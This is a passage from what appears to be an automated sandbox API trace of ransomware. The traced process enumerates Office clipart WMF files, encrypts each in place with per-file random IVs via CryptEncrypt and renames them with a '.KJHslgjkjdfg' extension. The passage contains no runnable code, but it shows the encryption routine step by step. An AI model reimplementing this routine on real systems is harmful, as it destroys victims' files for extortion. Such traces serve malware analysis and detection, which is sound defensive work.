lpNewFilePointer=0x0) returned 1 [0234.802] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x27f4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x27f4, lpOverlapped=0x0) returned 1 [0234.808] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2800, dwBufLen=0x2800 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2800) returned 1 [0234.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.808] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2800, lpOverlapped=0x0) returned 1 [0234.808] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x28d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.809] SetEndOfFile (hFile=0x130) returned 1 [0234.810] GetProcessHeap () returned 0x2ef0000 [0234.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.810] GetProcessHeap () returned 0x2ef0000 [0234.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf.kjhslgjkjdfg")) returned 1 [0234.812] CloseHandle (hObject=0x130) returned 1 [0234.812] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27894f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27894f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00390_.WMF", cAlternateFileName="")) returned 1 [0234.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.813] GetProcessHeap () returned 0x2ef0000 [0234.813] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.813] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.813] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.902] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.902] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.902] GetProcessHeap () returned 0x2ef0000 [0234.903] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.903] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.903] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.903] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.903] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.903] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.903] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.903] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.903] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.903] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.904] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb7c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb7c, lpOverlapped=0x0) returned 1 [0234.904] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb80, dwBufLen=0xb80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb80) returned 1 [0234.904] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.904] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb80, lpOverlapped=0x0) returned 1 [0234.904] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.904] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.904] SetEndOfFile (hFile=0x130) returned 1 [0234.907] GetProcessHeap () returned 0x2ef0000 [0234.907] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.907] GetProcessHeap () returned 0x2ef0000 [0234.907] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf.kjhslgjkjdfg")) returned 1 [0234.909] CloseHandle (hObject=0x130) returned 1 [0234.909] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c49b00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22c49b00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00391_.WMF", cAlternateFileName="")) returned 1 [0234.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.958] GetProcessHeap () returned 0x2ef0000 [0234.958] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.958] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.958] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.958] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.962] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.962] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.962] GetProcessHeap () returned 0x2ef0000 [0234.962] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.962] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.962] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.962] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.962] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.962] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.962] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.962] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.963] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.963] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.963] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.963] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x828, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x828, lpOverlapped=0x0) returned 1 [0234.963] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x830, dwBufLen=0x830 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x830) returned 1 [0234.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.963] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x830, lpOverlapped=0x0) returned 1 [0234.963] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.963] SetEndOfFile (hFile=0x130) returned 1 [0234.966] GetProcessHeap () returned 0x2ef0000 [0234.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.966] GetProcessHeap () returned 0x2ef0000 [0234.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.966] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf.kjhslgjkjdfg")) returned 1 [0234.968] CloseHandle (hObject=0x130) returned 1 [0234.968] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e57d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59e57d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x704e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00416_.WMF", cAlternateFileName="")) returned 1 [0234.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.969] GetProcessHeap () returned 0x2ef0000 [0234.969] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.969] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.969] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.970] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0234.972] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.972] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.972] GetProcessHeap () returned 0x2ef0000 [0234.972] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.972] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.972] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.972] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.972] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.972] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.973] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.973] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.973] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.973] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.973] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x704e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x704e, lpOverlapped=0x0) returned 1 [0234.974] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7050, dwBufLen=0x7050 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7050) returned 1 [0234.974] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.974] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7050, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7050, lpOverlapped=0x0) returned 1 [0234.974] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.975] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.975] SetEndOfFile (hFile=0x130) returned 1 [0234.978] GetProcessHeap () returned 0x2ef0000 [0234.978] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.978] GetProcessHeap () returned 0x2ef0000 [0234.978] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf.kjhslgjkjdfg")) returned 1 [0234.980] CloseHandle (hObject=0x130) returned 1 [0234.980] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36491500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36491500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x143c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00423_.WMF", cAlternateFileName="")) returned 1 [0234.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.981] GetProcessHeap () returned 0x2ef0000 [0234.981] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.981] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.981] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.981] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.983] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.984] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.984] GetProcessHeap () returned 0x2ef0000 [0234.984] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.984] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.984] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.984] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.984] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.984] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.984] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.986] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.986] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.986] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.986] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x143c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x143c, lpOverlapped=0x0) returned 1 [0234.987] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1440, dwBufLen=0x1440 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1440) returned 1 [0234.987] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.987] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1440, lpOverlapped=0x0) returned 1 [0234.987] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.987] 